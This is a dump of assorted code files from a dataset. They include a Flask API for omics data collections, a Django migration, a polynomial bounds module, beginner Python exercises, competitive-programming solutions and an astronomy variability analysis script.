gzip.open('merged_edeka.json.gz', 'wt', encoding=\"UTF-8\") as zipfile:\n json.dump(json_data, zipfile)\n\nfor file_path in file_paths:\n os.remove(file_path)\n\nprint(\"done!\")","sub_path":"import/01_edeka_scrape_and_merge.py","file_name":"01_edeka_scrape_and_merge.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"272366571","text":"import base64\nimport json\nimport os\nimport uuid\n\nfrom flask import request, jsonify, make_response, send_from_directory, Blueprint\nfrom flask_login import login_required\nfrom werkzeug.utils import secure_filename\n\nimport data_tools as dt\nfrom data_tools.file_tools.collection_tools import validate_update\nfrom config.config import DATADIR, UPLOADDIR\nfrom helpers import get_current_user, handle_exception, process_input_dict\n\ncollections_api = Blueprint('collections_api', __name__, url_prefix='/api/collections')\n\n\n@collections_api.route('/', methods=['GET', 'POST'])\n@login_required\ndef list_collections():\n try:\n current_user = get_current_user()\n if request.method == 'GET':\n return jsonify([collection.to_dict() for collection in dt.collections.get_collections(current_user)])\n if request.method == 'POST':\n data = request.get_json(force=True)\n if 'sample_ids' in data:\n samples = [dt.samples.get_sample(current_user, sample_id) for sample_id in data['sample_ids']]\n del data['sample_ids']\n else:\n samples = []\n return jsonify(\n dt.collections.create_collection(current_user, samples, data).to_dict())\n except Exception as e:\n return handle_exception(e)\n\n\n@collections_api.route('/', methods=['GET', 'POST', 'PATCH', 'DELETE'])\n@login_required\ndef get_collection(collection_id=None):\n try:\n user = get_current_user()\n collection = dt.collections.get_collection(user, collection_id)\n if request.method == 'GET':\n return jsonify({**collection.to_dict(),\n 'is_write_permitted': dt.users.is_write_permitted(user, collection)})\n\n if request.method == 'DELETE':\n return jsonify(dt.collections.delete_collection(user, collection))\n\n if request.content_type == 'application/json':\n new_data = process_input_dict(request.get_json(force=True))\n else:\n new_data = process_input_dict(request.form.to_dict())\n\n if request.method == 'POST':\n if 'file' in request.files or 'file' in new_data:\n filename = os.path.join(UPLOADDIR, secure_filename(str(uuid.uuid4())))\n if 'file' in request.files:\n if request.files['file'].filename == '':\n raise ValueError('No file uploaded')\n request.files['file'].save(filename)\n else:\n with open(filename, 'wb') as file:\n collection_file_data = base64.b64decode(bytes(new_data['file'], 'utf-8'))\n file.write(collection_file_data)\n del new_data['file']\n if dt.util.validate_file(filename):\n collection = dt.collections.update_collection(user, collection, new_data, filename)\n return jsonify(collection.to_dict())\n return jsonify(dt.collections.update_collection(user, collection, new_data).to_dict())\n\n if request.method == 'PATCH':\n # We can have requests to change values in arrays here contents of request will be {path, i, j, new_value}\n # or list thereof (POST should be used to update entire arrays).\n if not isinstance(new_data, list):\n new_data = [new_data]\n # improperly formatted patch requests will throw error before anything changed\n for patch_data in new_data:\n validate_update(collection.filename, patch_data['path'], patch_data['i'],\n patch_data['j'] if 'j' in patch_data else None, patch_data['new_value'])\n message = ''\n for patch_data in new_data:\n dt.collections.update_collection_array(user, collection,\n patch_data['path'],\n patch_data['i'],\n patch_data['j'] if 'j' in patch_data else None,\n patch_data['new_value'])\n message += (f'Changed value of {patch_data[\"path\"]}[{patch_data[\"i\"]}, '\n f'{patch_data[\"j\"] if \"j\" in patch_data else \"\"}] to {patch_data[\"new_value\"]}\\n')\n message += f'In collection {collection.id}'\n return jsonify({'message': message})\n except Exception as e:\n return handle_exception(e)\n\n\n@collections_api.route('/download/', methods=['GET'])\n@login_required\ndef download_collection(collection_id=None):\n try:\n user = get_current_user()\n collection = dt.collections.get_collection(user, collection_id)\n if request.args.get('format', '') == 'pandas':\n single_column = request.args.get('single_column', '') == 'true'\n data_format = request.args.get('data_format') if 'data_format' in request.args else 'csv'\n if data_format not in {'json', 'csv'}:\n raise ValueError(f'Improper data format {data_format}')\n json_orient = request.args.get('orient') if 'orient' in request.args else 'records'\n out = dt.collections.download_collection_dataframe(user, collection, single_column, data_format, json_orient)\n as_attachment = request.args.get('as_attachment') if 'as_attachment' in request.args else 'true'\n if as_attachment == 'false':\n response = jsonify({'data_frame': out[data_format]})\n else:\n if data_format == 'json':\n out['json'] = json.dumps(out['json'])\n response = make_response(out[data_format])\n response.headers['Content-Disposition'] = out['cd']\n response.mimetype = f'text/{data_format}'\n return response\n if request.args.get('path', ''):\n path = request.args.get('path', '')\n out = dt.collections.download_collection_dataset(user, collection, path)\n response = make_response(out['csv'])\n response.headers['Content-Disposition'] = out['cd']\n response.mimetype = 'text/csv'\n return response\n out = dt.collections.download_collection(user, collection)\n return send_from_directory(f'{DATADIR}/collections', out['filename'], as_attachment=True)\n except Exception as e:\n return handle_exception(e)\n\n\n@collections_api.route('/upload', methods=['POST'])\n@login_required\ndef upload_collection():\n try:\n user = get_current_user()\n # for request from MATLAB client that doesn't support multipart/form-data\n # file is base64 encoded.\n new_data = {}\n try:\n new_data.update(process_input_dict(request.get_json()))\n except:\n new_data.update(process_input_dict(request.form))\n if 'file' not in new_data and 'file' not in request.files:\n raise ValueError('No file uploaded')\n filename = os.path.join(UPLOADDIR, secure_filename(str(uuid.uuid4())))\n if 'file' in request.files:\n if request.files['file'].filename == '':\n raise ValueError('No file uploaded')\n request.files['file'].save(filename)\n else:\n with open(filename, 'wb') as file:\n collection_file_data = base64.b64decode(bytes(new_data['file'], 'utf-8'))\n file.write(collection_file_data)\n del new_data['file']\n if dt.util.validate_file(filename):\n collection = dt.collections.upload_collection(user, filename, new_data)\n return jsonify(collection.to_dict())\n raise ValueError('invalid content type')\n except Exception as e:\n return handle_exception(e)\n\n\n@collections_api.route('/copy/', methods=['GET'])\n@login_required\ndef copy_collection(collection_id):\n \"\"\"\n This only takes POST because it does create a record, but it doesn't take any body, so it could also be GET\n \"\"\"\n try:\n current_user = get_current_user()\n return jsonify(dt.collections.copy_collection(current_user, dt.collections.get_collection(current_user, collection_id)).to_dict())\n except Exception as e:\n return handle_exception(e)\n\n\n@collections_api.route('/merge', methods=['POST'])\n@login_required\ndef merge_collections():\n try:\n current_user = get_current_user()\n # new collection keeps attributes of first collection in list\n new_data = request.get_json(force=True)\n collections = [dt.collections.get_collection(current_user, collection_id) for collection_id in new_data['collection_ids']]\n del new_data['collection_ids']\n new_collection = dt.collections.merge_collections(current_user, collections, new_data)\n return jsonify(new_collection.to_dict())\n except Exception as e:\n return handle_exception(e)\n","sub_path":"omics/omics_dashboard/blueprints/api/collections.py","file_name":"collections.py","file_ext":"py","file_size_in_byte":9001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"15370749","text":"A1 = int(input())\nB1 = int(input())\nC1 = int(input())\nA2 = int(input())\nB2 = int(input())\nC2 = int(input())\n\nif C1 > B1:\n n = B1\n B1 = C1\n C1 = n\nif B1 > A1:\n n = A1\n A1 = B1\n B1 = n\nif C1 > B1:\n n = B1\n B1 = C1\n C1 = n\n\nif C2 > B2:\n n = B2\n B2 = C2\n C2 = n\nif B2 > A2:\n n = A2\n A2 = B2\n B2 = n\nif C2 > B2:\n n = B2\n B2 = C2\n C2 = n\n\nif A1 == A2 and B1 == B2 and C1 == C2:\n print(\"Boxes are equal\")\nelif A1 <= A2 and B1 <= B2 and C1 <= C2:\n print(\"The first box is smaller than the second one\")\nelif A1 >= A2 and B1 >= B2 and C1 >= C2:\n print(\"The first box is larger than the second one\")\nelse:\n print(\"Boxes are incomparable\")\n","sub_path":"Week_2/02_18_boxes.py","file_name":"02_18_boxes.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"200197652","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('forums', '0002_auto_20150606_0359'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='thread',\n name='downvote',\n field=models.IntegerField(default=0),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='thread',\n name='upvote',\n field=models.IntegerField(default=0),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='thread',\n name='impact_scale',\n field=models.IntegerField(choices=[(1, '1'), (2, '2'), (3, '3'), (4, '4'), (5, '5'), (6, '6'), (7, '7')], default=1),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='thread',\n name='side_effect_scale',\n field=models.IntegerField(choices=[(1, '1'), (2, '2'), (3, '3'), (4, '4'), (5, '5'), (6, '6'), (7, '7')], default=1),\n preserve_default=True,\n ),\n ]\n","sub_path":"forums/migrations/0003_auto_20150614_0447.py","file_name":"0003_auto_20150614_0447.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"274608619","text":"import time\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef linear_search(array, key):\n for i in range(len(array)):\n if array[i] == key:\n return i\n\n\nn = 1000\ndx = 100000\nkey = 435\nresult = []\nsearch_time = []\nwhile n <= 1.0e+6 + 1000:\n array = np.arange(n, dtype=int)\n a = linear_search(array, key)\n b = time.process_time()\n n += dx\n result.append(len(array))\n search_time.append(b)\n\nplt.plot(result, search_time, 'g')\nplt.ylabel('Time')\nplt.xlabel('Array length')\nplt.title('Linear search')\nplt.tight_layout()\nplt.grid()\nprint(result)\nprint(search_time)\n","sub_path":"Search algorithmes/linear_search.py","file_name":"linear_search.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"394214193","text":"\"\"\"\nThis modules contains functions providing the bounds of given monomials and polynomial expressions.\n\"\"\"\n\nfrom diofant import *\nfrom mora.core import Program, get_solution as get_expected\nfrom .utils import *\nfrom .asymptotics import *\nfrom . import branch_store\n\nstore = {}\nprogram: Program = None\n\n\nclass Bounds:\n expression: Poly\n lower: Expr\n upper: Expr\n maybe_positive: bool\n maybe_negative: bool\n __absolute_upper__: Expr = None\n\n @property\n def absolute_upper(self):\n if self.__absolute_upper__ is None:\n n = symbols(\"n\", integer=True, positive=True)\n self.__absolute_upper__ = dominating([self.upper, self.lower * -1], n)\n return self.__absolute_upper__\n\n\ndef set_program(p: Program):\n \"\"\"\n Set the program and initialize the store. This function needs to be called before the store is used.\n \"\"\"\n global program, store\n program = p\n store = {}\n\n\ndef __multiply_rvs_for_monom_bounds(rvs, monom_bounds: Bounds, original_monom: Expr):\n \"\"\"\n Given bounds for a monom x, computes bounds for the monom rvs * x by handling one random variable in rv at a time\n \"\"\"\n global program\n n = symbols(\"n\", integer=True, positive=True)\n result_bounds = Bounds()\n result_bounds.expression = original_monom.as_poly(program.variables)\n result_bounds.lower = monom_bounds.lower\n result_bounds.upper = monom_bounds.upper\n result_bounds.maybe_positive = monom_bounds.maybe_positive\n result_bounds.maybe_negative = monom_bounds.maybe_negative\n for rv, power in rvs:\n low, high = program.updates[rv].random_var.get_support(power)\n candidates = [\n low * result_bounds.lower,\n high * result_bounds.lower,\n low * result_bounds.upper,\n high * result_bounds.upper\n ]\n rv_pos = high > 0\n rv_neg = low < 0\n if not rv_pos.is_Boolean:\n rv_pos = True\n if not rv_neg.is_Boolean:\n rv_neg = True\n\n if nan in candidates:\n result_bounds.upper = oo\n result_bounds.lower = -oo\n else:\n result_bounds.upper = dominating(candidates, n)\n result_bounds.lower = dominated(candidates, n)\n result_bounds.maybe_positive = (rv_pos and result_bounds.maybe_positive) or (rv_neg and result_bounds.maybe_negative)\n result_bounds.maybe_negative = (rv_neg and result_bounds.maybe_positive) or (rv_pos and result_bounds.maybe_negative)\n\n store[result_bounds.expression] = result_bounds\n return result_bounds\n\n\ndef get_bounds_of_expr(expression: Expr) -> Bounds:\n \"\"\"\n Computes the bounds of a polynomial over the program variables. It does so by substituting the bounds of the monomials.\n \"\"\"\n expression = expression.as_poly(program.variables)\n expr_bounds = __initialize_bounds_for_expression(expression)\n monoms = get_monoms(expression)\n for monom in monoms:\n rvs, m = separate_rvs_from_monom(monom, program)\n m_bounds = __get_bounds_of_monom(m)\n if rvs:\n monom_bounds = __multiply_rvs_for_monom_bounds(rvs, m_bounds, monom)\n else:\n monom_bounds = m_bounds\n __replace_monom_in_expr_bounds(monom, monom_bounds, expression, expr_bounds)\n\n upper_candidates = __split_on_signums(expr_bounds.upper.as_expr())\n lower_candidates = __split_on_signums(expr_bounds.lower.as_expr())\n\n n = symbols(\"n\", integer=True, positive=True)\n expr_bounds.upper = dominating(upper_candidates, n)\n expr_bounds.lower = dominated(lower_candidates, n)\n return expr_bounds\n\n\ndef __replace_monom_in_expr_bounds(monom, monom_bounds: Bounds, expression: Poly, expr_bounds: Bounds):\n \"\"\"\n Helper function which replaces a single monomial with its bounds. Which bound to take depends on the coefficient\n of the monomial.\n \"\"\"\n coeff = expression.coeff_monomial(monom)\n # n can be in coefficient. Therefore check whether the coefficient eventually stays positive.\n if len(coeff.free_symbols) > 0:\n coeff = amber_limit(coeff, symbols(\"n\", integer=True, positive=True))\n\n if coeff > 0:\n upper = monom_bounds.upper\n lower = monom_bounds.lower\n pos = monom_bounds.maybe_positive\n neg = monom_bounds.maybe_negative\n else:\n upper = monom_bounds.lower\n lower = monom_bounds.upper\n pos = monom_bounds.maybe_negative\n neg = monom_bounds.maybe_positive\n\n expr_bounds.upper = expr_bounds.upper.subs({monom: upper})\n expr_bounds.lower = expr_bounds.lower.subs({monom: lower})\n # Rough estimate of whether the expression is positive/negative\n expr_bounds.maybe_positive = expr_bounds.maybe_positive or pos\n expr_bounds.maybe_negative = expr_bounds.maybe_negative or neg\n\n\ndef __initialize_bounds_for_expression(expression: Poly) -> Bounds:\n \"\"\"\n Initializes the bounds object for an expression by setting the lower and upper bounds equal to the expression.\n \"\"\"\n bounds = Bounds()\n bounds.expression = expression.as_expr()\n bounds.lower = expression.as_expr()\n bounds.upper = expression.as_expr()\n\n # Initialize the polarity of the expression by the polarity of the deterministic part\n n_expr = expression.coeff_monomial(1)\n pos, neg = get_polarity(n_expr, symbols(\"n\", integer=True, positive=True))\n\n bounds.maybe_positive = pos\n bounds.maybe_negative = neg\n return bounds\n\n\ndef __get_bounds_of_monom(monom: Expr) -> Bounds:\n \"\"\"\n Computes the bounds of a monomial in a lazy way\n \"\"\"\n monom = sympify(monom).as_expr()\n if monom not in store:\n __compute_bounds_of_monom(monom)\n return store[monom]\n\n\ndef __compute_bounds_of_monom(monom: Expr):\n \"\"\"\n Computes the bounds of a monomial. First checks if the monomial is deterministic, then if it is another\n monomial to an odd power and only after that computes the bounds via recurrences.\n \"\"\"\n global program\n log(f\"Computing bounds for {monom.as_expr()}\", LOG_ESSENTIAL)\n if monom_is_deterministic(monom, program):\n __compute_bounds_of_deterministic_monom(monom)\n return\n\n powers = get_all_monom_powers(monom)\n power_gcd = igcd(*powers)\n if power_gcd > 1 and power_gcd % 2 == 1:\n monom = divide_monom_powers_by(monom, power_gcd)\n __compute_bounds_of_monom_power(monom, power_gcd)\n return\n\n __compute_bounds_of_monom_recurrence(monom)\n\n\ndef __compute_bounds_of_deterministic_monom(monom):\n \"\"\"\n Computes the bounds of a deterministic monomial by replacing its variables by their first moments, which are\n their exact closed-form representations\n \"\"\"\n global program\n bound = monom\n for variable in monom.free_symbols:\n moment = get_expected(program, variable.as_poly(program.variables))\n bound = bound.subs({variable: moment})\n\n n = symbols(\"n\", integer=True, positive=True)\n pos, neg = get_polarity(bound, n)\n bound = simplify_asymptotically(bound, n)\n\n bounds = Bounds()\n bounds.expression = monom\n bounds.upper = bound\n bounds.lower = bound\n bounds.maybe_positive = pos\n bounds.maybe_negative = neg\n\n store[bounds.expression] = bounds\n\n\ndef __compute_bounds_of_monom_power(monom: Expr, power: Number):\n \"\"\"\n Computes the bounds of monom**power by just taking the bounds of monom and raising it to the given power.\n This is only sound if the given power is odd or the monom is always positive\n \"\"\"\n n = symbols(\"n\", integer=True, positive=True)\n monom_bounds = __get_bounds_of_monom(monom)\n upper_bound = simplify_asymptotically(monom_bounds.upper ** power, n)\n lower_bound = simplify_asymptotically(monom_bounds.lower ** power, n)\n\n bounds = Bounds()\n bounds.expression = (monom ** power).as_expr()\n bounds.upper = upper_bound\n bounds.lower = lower_bound\n bounds.maybe_positive = monom_bounds.maybe_positive\n bounds.maybe_negative = monom_bounds.maybe_negative\n\n store[bounds.expression] = bounds\n\n\ndef __compute_bounds_of_monom_recurrence(monom: Expr):\n \"\"\"\n Computes the bounds of a monomial by representing it as a recurrence relation\n \"\"\"\n n = symbols(\"n\", integer=True, positive=True)\n branches = branch_store.get_branches_of_monom(monom)\n inhom_parts_bounds = [get_bounds_of_expr(b.inhom_part) for b in branches]\n initial_polarity = branch_store.get_initial_polarity_of_monom(monom)\n maybe_pos, maybe_neg = __get_monom_polarity(monom, inhom_parts_bounds, initial_polarity)\n\n inhom_parts_bounds_lower = [expand(b.lower.xreplace({n: n - 1})) for b in inhom_parts_bounds]\n inhom_parts_bounds_upper = [expand(b.upper.xreplace({n: n - 1})) for b in inhom_parts_bounds]\n\n max_upper = dominating(inhom_parts_bounds_upper, n)\n min_lower = dominated(inhom_parts_bounds_lower, n)\n min_rec = min([b.recurrence_constant for b in branches])\n max_rec = max([b.recurrence_constant for b in branches])\n starting_values = __get_starting_values(maybe_pos, maybe_neg)\n\n coeff_upper = {max_rec}\n if maybe_neg:\n coeff_upper.add(min_rec)\n\n coeff_lower = {max_rec}\n if maybe_neg:\n coeff_lower.add(min_rec)\n\n upper_candidates = __compute_bound_candidates(coeff_upper, {max_upper}, starting_values)\n lower_candidates = __compute_bound_candidates(coeff_lower, {min_lower}, starting_values)\n\n max_upper_candidate = dominating(upper_candidates, n)\n min_lower_candidate = dominated(lower_candidates, n)\n\n # If monom is negative upper bound cannot be larger than 0\n if not maybe_pos:\n max_upper_candidate = dominated([max_upper_candidate, sympify(0)], n)\n # If monom is positive lower bound cannot be smaller than 0\n if not maybe_neg:\n min_lower_candidate = dominating([min_lower_candidate, sympify(0)], n)\n\n bounds = Bounds()\n bounds.expression = monom.as_expr()\n bounds.upper = max_upper_candidate.as_expr()\n bounds.lower = min_lower_candidate.as_expr()\n bounds.maybe_positive = maybe_pos\n bounds.maybe_negative = maybe_neg\n\n store[bounds.expression] = bounds\n\n\ndef __get_monom_polarity(monom: Expr, inhom_parts_bounds: [Bounds], initial_polarity) -> (bool, bool):\n \"\"\"\n Returns a rough but sound estimate of whether or not a given monomial can be positive and negative\n \"\"\"\n # If all powers of the variables are even, the monomial is only positive\n powers = get_all_monom_powers(monom)\n all_powers_even = all([p % 2 == 0 for p in powers])\n if all_powers_even:\n return True, False\n\n maybe_pos = initial_polarity[0] or any([b.maybe_positive for b in inhom_parts_bounds])\n maybe_neg = initial_polarity[1] or any([b.maybe_negative for b in inhom_parts_bounds])\n return maybe_pos, maybe_neg\n\n\ndef __get_starting_values(maybe_pos: bool, maybe_neg: bool) -> [Expr]:\n \"\"\"\n Returns the possible values of a monomial after which it is within a certain bound. This gets used\n to solve the recurrence relations for the bounds candidates.\n \"\"\"\n values = []\n if maybe_pos:\n values.append(unique_symbol('d', positive=True, real=True))\n if maybe_neg:\n values.append(unique_symbol('d', positive=True, real=True) * -1)\n if not maybe_pos and not maybe_neg:\n values.append(sympify(0))\n\n return values\n\n\ndef __compute_bound_candidates(coefficients: [Number], inhom_parts: [Expr], starting_values: [Expr]) -> [Expr]:\n \"\"\"\n Computes functions which could potentially be bounds\n \"\"\"\n candidates = []\n\n for c in coefficients:\n for part in inhom_parts:\n c0 = symbols('c0')\n solution = __compute_bound_candidate(c, part, c0)\n for v in starting_values:\n solution = solution.xreplace({c0: v})\n # If a candidate contains signum functions, we have to split the candidate into more candidates\n new_candidates = __split_on_signums(solution)\n candidates += new_candidates\n\n return candidates\n\n\ndef __compute_bound_candidate(c: Number, inhom_part: Expr, starting_value: Expr) -> Expr:\n \"\"\"\n Computes a single function which is potentially a bound by solving a recurrence relation\n \"\"\"\n n = symbols('n', integer=True, positive=True)\n if c.is_zero:\n return expand(inhom_part.xreplace({n: n - 1}))\n\n hom_solution = (c ** n) * starting_value\n k = symbols('_k', integer=True, positive=True)\n summand = simplify((c ** k) * inhom_part.xreplace({n: (n - 1) - k}))\n particular_solution = summation(summand, (k, 0, (n - 1)))\n solution = simplify(hom_solution + particular_solution)\n return solution\n\n\ndef __split_on_signums(expression: Expr) -> [Expr]:\n \"\"\"\n For a given expression returns all expression resulting from splitting it on signum functions occurring in\n its limit, e.g. for c*sign(d - 1) returns [c*e, c*(-e)]\n \"\"\"\n exps = [expression]\n n = symbols(\"n\", integer=True, positive=True)\n expression_limit = amber_limit(expression, n)\n signums = get_signums_in_expression(expression_limit)\n for s in signums:\n # Choose an arbitrary symbol from the signum expression\n assert len(s.free_symbols) >= 1\n symbol = list(s.free_symbols)[0]\n new_exps = []\n for exp in exps:\n # Get rid of the signum expression by replacing it by a positive and an negative constant\n # This is done by substituting the arbitrary symbol by just the right expression s.t. things cancel out\n constant = unique_symbol('e', positive=True, real=True)\n solutions = solve(s - constant, [symbol])\n assert len(solutions) >= 1\n solution_pos = solutions[0][symbol]\n solution_neg = solution_pos.subs({constant: constant * -1})\n new_exps.append(exp.subs({symbol: solution_pos}))\n new_exps.append(exp.subs({symbol: solution_neg}))\n exps = new_exps\n return exps\n","sub_path":"src/bound_store.py","file_name":"bound_store.py","file_ext":"py","file_size_in_byte":13919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"376255347","text":"\nclass Node(object):\n def __init__(self, value = 0):\n self.value = value\n self.nextnode = None\n\n def next(self):\n return self.nextnode\n\n\n\na = Node(1)\nb = Node(2)\nc = Node(3)\n\na.nextnode = b\nb.nextnode = c\n\nprint(a.value, a.nextnode.value, a)","sub_path":"linked_list.py","file_name":"linked_list.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"388023530","text":"class Post:\n def __init__(self, title, content, view_count):\n self.title = title\n self.content = content\n self.view_count = view_count\n\n # 클래스 메소드, 클래스 자체에서 실행\n def hello():\n print(\"모든 글들이 지워졌다.\")\n\n # 인스턴스 메소드, 객체에서만 실행할 수 있다.\n def delete(self):\n print(\"{}글이 지워졌어요\".format(self.title))\n\n\npost = Post(\"간장게장 담그는 법\", \"양송이버섯을 간장에 절인다\", 50)\n\nmy_num = 3\nprint(type(my_num))\nprint(type(post))\nprint(post.title)\nprint(post.content)\n\nPost.hello()\npost.delete()\n\n\nclass Novel(Post):\n def __init__(self, writer, title, content, view_count):\n self.writer = writer\n super().__init__(title, content, view_count)\n\n def delete(self):\n print(\"{}글이 지워졌어요ㅠㅠ\".format(self.title))\n\n\nnovel = Novel(\"황순원\", \"소나기\", \"슬펐다\", 100000)\nprint(novel.title)\nnovel.delete()\n\n# 모듈 module은 파일 하나를 의미함\n# 패키지 package는 모듈들이 모여있는 폴더\n# 내가 패키지다. __init__.py 파일 이름만 의미가 있는 것, 여기에 뭘 쓰진 않는다\n","sub_path":"week12/class.py","file_name":"class.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"439243849","text":"N = int(input())\r\nred = [list(map(int, input().split())) for i in range(N)]\r\nblue = [list(map(int, input().split())) for i in range(N)]\r\nans = 0\r\nred_sorted = sorted(red, key = lambda x : -x[0])\r\nblue_sorted = sorted(blue, key = lambda x : x[0])\r\nblue_used = [False] * N\r\n#print(red_sorted)\r\n#print(blue_sorted)\r\nfor i in range(N):\r\n blue_y = float(\"-inf\")\r\n blue_index = None\r\n blue_candidate = []\r\n for j in range(N):\r\n if blue_used[j]:\r\n continue\r\n if red_sorted[i][0] < blue_sorted[j][0]:\r\n if (red_sorted[i][1] < blue_sorted[j][1]):\r\n blue_index = j\r\n blue_candidate.append((blue_index, blue_sorted[j][1]))\r\n #print(red_sorted[i][1], blue_sorted[j][1])\r\n if blue_index != None:\r\n blue_candidate = sorted(blue_candidate, key = lambda x : x[1])\r\n blue_used[blue_candidate[0][0]] = True\r\n ans += 1\r\nprint(ans)","sub_path":"re091c.py","file_name":"re091c.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"248705653","text":"s = input()\nx, y = list(map(int, input().split()))\nF = [len(fs) for fs in s.split('T')]\nx -= F[0]\nFx = F[2::2]\nFy = F[1::2]\n\nxt2 = sum(Fx)-x\nyt2 = sum(Fy)-y\nif xt2%2==1 or yt2%2==1 or xt2<0 or yt2<0:\n print('No')\n exit()\n\nxt = xt2//2\nyt = yt2//2\n\ndpx = [False]*(xt+1)\ndpx[0] = True\nfor f in Fx:\n for i in range(xt, f-1, -1): dpx[i] |= dpx[i-f]\n\ndpy = [False]*(yt+1)\ndpy[0] = True\nfor f in Fy:\n for i in range(yt, f-1, -1): dpy[i] |= dpy[i-f]\n\nprint('Yes' if dpx[xt] and dpy[yt] else 'No')","sub_path":"Python_codes/p03488/s912618133.py","file_name":"s912618133.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"575915920","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Nov 29 12:04:36 2017\n\n@author: ppxee\n\"\"\"\n\n\n### Import required libraries ###\nimport matplotlib.pyplot as plt #for plotting\nfrom astropy.io import fits #for handling fits\nfrom astropy.table import Table #for handling tables\nimport numpy as np #for handling arrays\n#import math\nfrom astropy.stats import median_absolute_deviation\nimport vari_funcs #my module to help run code neatly\nfrom matplotlib.mlab import griddata\nplt.close('all') #close any open plots\n\n### Open the fits files and get data ###\ncombined = fits.open('mag_flux_tables/mag_flux_table_best.fits')\ntbdata = combined[1].data\nchandra = fits.open('mag_flux_tables/xray_mag_flux_table_best.fits')\nchandata = chandra[1].data\nstars = fits.open('mag_flux_tables/stars_mag_flux_table.fits')\nsdata = stars[1].data\n\n### Restrict objects to those in the Chandra field ###\n#tbdata = vari_funcs.chandra_only(tbdata)\n\n## Create arrays of flux values but without 06B ###\nflux = vari_funcs.mag5_stacks(tbdata)\nfluxchan = vari_funcs.mag5_stacks(chandata) # for chandra non-stellar objects\nsflux = vari_funcs.mag5_stacks(sdata)\n\n\n### remove values that are +/-99 ###\nflux, tbdata = vari_funcs.no99(flux, tbdata)\nfluxchan, chandata = vari_funcs.no99(fluxchan, chandata)\nsflux, sdata = vari_funcs.no99(sflux, sdata)\n\n### Normalise arrays ###\n#fluxn = vari_funcs.normalise_flux(flux)\n#fluxchann = vari_funcs.normalise_flux(fluxchan)\n#sfluxn = vari_funcs.normalise_flux(sflux)\n#\n#\n#### Multiply all flux values in a yearstack by the correct constant ###\n#fluxcorrn = vari_funcs.psf_correct(fluxn, fluxn, 'median') \n#fluxchancorrn = vari_funcs.psf_correct(fluxn, fluxchann, 'median') \n#fluxcorr = vari_funcs.psf_correct(flux, flux, 'median') \n#fluxchancorr = vari_funcs.psf_correct(flux, fluxchan, 'median') \n\nfig,_ = vari_funcs.flux_variability_plot(flux, fluxchan, 'mad', starflux=sflux,\n stars=True)\n\nfig.canvas.mpl_connect('pick_event', vari_funcs.onpick)\n# Find outliers ###\nbins = np.array([13, 15])\nbins = np.append(bins, np.arange(16,24,0.2))\nbins = np.append(bins, [24, 25, 26])\n\n#bins = 10**((30-bins)/2.5)\n#bins = np.flip(bins, axis=0)\n#outliers, tb, modz = vari_funcs.find_outliers(fluxn, tbdata, bins)\n#varys = tb[outliers]\n#varyflux = vari_funcs.mag5_stacks(varys)\n#varymad = median_absolute_deviation(varyflux, axis=1) \n#varymean = np.mean(varyflux, axis=1)\n#plt.figure(1)\n#plt.plot(varymean, varymad, 'md', mfc='none', markersize=10)\n\n\noutliers2, tb2, modz2 = vari_funcs.find_outliers(flux, tbdata, bins, threshold=5)\ntb2['X-ray'][tb2['X-ray']==70] = False \ntb2['X-ray'][tb2['X-ray']==84] = True\n### Find plotting values for the new flux table ###\nflux2 = vari_funcs.mag5_stacks(tb2) \nflux2, tb2 = vari_funcs.no99(flux2, tb2)\navgfluxperob2 = np.mean(flux2, axis=1) #for UDS\n#flux2 = vari_funcs.normalise_flux(flux2)\n#flux2 = vari_funcs.psf_correct(flux, flux2, 'median')\nvary2 = median_absolute_deviation(flux2, axis=1)\n\n\n### create table of varying ###\nmagmask = avgfluxperob2 < 21\noutliers2 = outliers2*magmask\nvarydata = tb2[outliers2]\n#cols = fits.ColDefs(varydata)\n#hdu = fits.BinTableHDU.from_columns(cols)\n#hdu.writeto('variable_tables/variable_mag_flux_table_with06B_mag21.fits')\n\nvaryfluxcorr = flux2[outliers2]\nvarymadcorr = vary2[outliers2]\nvarymeancorr = avgfluxperob2[outliers2]\nvarymodz = modz2[outliers2]\n#plt.plot(varymeancorr, varymadcorr, 'kd', mfc='none', markersize=10)\n\n#%% Find the ones that used to be variable but not aren't\n#oldvary = fits.open('variable_mag_flux_table.fits')[1].data\n#nums = ~np.isin(oldvary['NUMBER_05B'], varydata['NUMBER_05B'])\n#oldvary = oldvary[nums]\n#ind = np.isin(tbdata['NUMBER_05B'], oldvary['NUMBER_05B'])\n#oldvary = tbdata[ind]\n\n#varyflux = vari_funcs.mag5_stacks(oldvary)\n#varymean = np.mean(varyflux, axis=1)\n#varymad = median_absolute_deviation(varyflux, axis=1)\n#plt.plot(varymean, varymad, 'gd', mfc='none', markersize=10)\n\n#plt.figure()\n#plt.scatter(varymeancorr, varymadcorr, c=varymodz, marker='+')\n#plt.colorbar()\n\n## Plot mod z in scatter 